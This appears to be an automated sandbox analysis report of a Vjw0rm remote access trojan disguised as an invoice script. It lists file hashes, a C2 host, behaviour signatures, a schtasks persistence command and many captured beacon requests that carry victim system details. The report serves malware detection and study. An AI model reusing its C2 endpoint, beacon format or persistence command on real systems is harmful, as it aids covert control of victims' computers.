Overview

overview

10

Static

static

1

WROO1_Invoice_Copy.js

windows7-x64

10

WROO1_Invoice_Copy.js

windows10-2004-x64

10

WROO2_Invo...py.vbs

windows7-x64

10

WROO2_Invo...py.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/12/2024, 06:45 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    WROO1_Invoice_Copy.js

  • Size

    17KB

  • MD5

    d27a6555f01b023f146f6662d01070b3

  • SHA1

    5d8e310ca992ed1c804a6fc54d55acd7a394d46f

  • SHA256

    c40b980e8d0447cc55bffa7c5f5af8f7dba5d3ff411edfc028836c7a631af874

  • SHA512

    3849e8e57b2b478f8e6dcaeb3f1376671774733600c2b1a1cc927800979b2c80e6d8b61748fbfe14b75bfb212712b833c4eddc3e89e24478984063d13c8bf4ac

  • SSDEEP

    384:/cTeWWL43t3q+BCjg52zOzRO/qegMtVcYFt06GohmIlDG3qHoV/JHH:/c043t3q+6g8zOzRO/qe7CQ0RoFDiqHi

Score
10/10
vjw0rmexecutionpersistencetrojanworm

Malware Config

Extracted

Family

vjw0rm

C2

http://dingspread.duckdns.org:6130

Signatures

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

    trojanwormvjw0rm
  • Vjw0rm family
    vjw0rm
  • Blocklisted process makes network request 18 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\WROO1_Invoice_Copy.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4780
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Local\Temp\WROO1_Invoice_Copy.js
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4216

Network

  • flag-us
    DNS
    8.8.8.8.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    8.8.8.8.in-addr.arpa
    IN PTR
    Response
    8.8.8.8.in-addr.arpa
    IN PTR
    dnsgoogle
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    dingspread.duckdns.org
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    dingspread.duckdns.org
    IN A
    Response
    dingspread.duckdns.org
    IN A
    192.169.69.26
  • flag-us
    DNS
    dingspread.duckdns.org
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    dingspread.duckdns.org
    IN A
    Response
  • flag-us
    DNS
    dingspread.duckdns.org
    wscript.exe
    Remote address:
    8.8.8.8:53
    Request
    dingspread.duckdns.org
    IN A
    Response
    dingspread.duckdns.org
    IN A
    192.169.69.26
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    75.159.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    75.159.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    26.69.169.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    26.69.169.192.in-addr.arpa
    IN PTR
    Response
    26.69.169.192.in-addr.arpa
    IN PTR
    sinkholehyascom
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    97.17.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    97.17.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    28.118.140.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    28.118.140.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    53.210.109.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    53.210.109.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    198.187.3.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    198.187.3.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    181.129.81.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    181.129.81.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    172.214.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.214.232.199.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    DNS
    13.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    13.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • flag-us
    POST
    http://dingspread.duckdns.org:6130/Vre
    wscript.exe
    Remote address:
    192.169.69.26:6130
    Request
    POST /Vre HTTP/1.1
    Accept: */*
    User-Agent: vjw0rm_5073EBCC\OZMCVSQS\Admin\Microsoft Windows 10 Pro\undefined\\YES\FALSE\
    Accept-Language: en-us
    UA-CPU: AMD64
    Accept-Encoding: gzip, deflate
    Host: dingspread.duckdns.org:6130
    Content-Length: 0
    Connection: Keep-Alive
    Cache-Control: no-cache
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    1.8kB
     88 B
     7
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    490 B
     88 B
     4
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    438 B
     88 B
     3
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 192.169.69.26:6130
    http://dingspread.duckdns.org:6130/Vre
    http
    wscript.exe
    542 B
     88 B
     5
    2

    HTTP Request

    POST http://dingspread.duckdns.org:6130/Vre
  • 8.8.8.8:53
    8.8.8.8.in-addr.arpa
    dns
    66 B
     90 B
     1
    1

    DNS Request

    8.8.8.8.in-addr.arpa

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53
    dingspread.duckdns.org
    dns
    wscript.exe
    204 B
     236 B
     3
    3

    DNS Request

    dingspread.duckdns.org

    DNS Request

    dingspread.duckdns.org

    DNS Request

    dingspread.duckdns.org

    DNS Response

    192.169.69.26

    DNS Response

    192.169.69.26

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    75.159.190.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    75.159.190.20.in-addr.arpa

  • 8.8.8.8:53
    26.69.169.192.in-addr.arpa
    dns
    72 B
     103 B
     1
    1

    DNS Request

    26.69.169.192.in-addr.arpa

  • 8.8.8.8:53
    97.17.167.52.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    97.17.167.52.in-addr.arpa

  • 8.8.8.8:53
    28.118.140.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    28.118.140.52.in-addr.arpa

  • 8.8.8.8:53
    53.210.109.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    53.210.109.20.in-addr.arpa

  • 8.8.8.8:53
    198.187.3.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    198.187.3.20.in-addr.arpa

  • 8.8.8.8:53
    181.129.81.91.in-addr.arpa
    dns
    72 B
     147 B
     1
    1

    DNS Request

    181.129.81.91.in-addr.arpa

  • 8.8.8.8:53
    172.214.232.199.in-addr.arpa
    dns
    74 B
     128 B
     1
    1

    DNS Request

    172.214.232.199.in-addr.arpa

  • 8.8.8.8:53
    13.227.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    13.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.